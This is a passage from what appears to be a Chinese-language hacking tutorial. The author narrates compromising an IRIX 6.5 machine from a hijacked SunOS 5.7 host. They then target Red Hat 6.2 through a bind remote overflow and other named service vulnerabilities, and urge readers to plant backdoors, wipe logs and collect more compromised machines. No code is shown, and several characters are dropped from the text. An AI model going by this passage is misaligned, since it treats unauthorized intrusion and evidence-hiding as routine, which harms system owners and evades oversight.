SunOS 5.6 5.7 5.8的機器都有了，找找其他系統吧。
什系統最破呢？
Win2000？
呵呵，我說的是UNIX系列。
告訴大家，IRIX最破~
HOHO~
記得昨天就掃到一台IRIX的破機器呢，我們接著來幹掉它~

在SunOS 5.7平台下攻擊IRIX 6.5 系統成功完成。：）
我們來找幾台Linux 玩玩。找Redhat吧，漏洞多一些，比如rpc.statd wuftp bind lpd等。：P
我們同樣以這個SunOs 5.7做為我們攻擊Linux的平台。Lsd寫的exploit通用性真不錯。
這次我們用bind遠程溢出來攻擊redhat 6.2
不過因為前段時間的worm，bind的成功率已經很小啦。
大家可以試試其它的遠程溢出~~

省略了很多，如門安裝和腳印的擦除等。
其實入侵一個系統更要注意保持自己在系統上的權限，所以清除日志以免被發現，和安放門以便再次進入這個系統
都是很重要的。
因為以前寫過這方面的教程，就不再寫了。
大家慢慢提高自己的技術吧。
有時間就去擴散戰果，比如Redhat 7.0和該死的freebsd。
自己想辦法哦。
肉雞找回來幾台，最一篇入侵教程總算也寫完了，再見啦~
以也許會寫一些技術分析的文章。
大家好運…
(PS:大家如果有看不懂的，也不要給我寫信問我。)
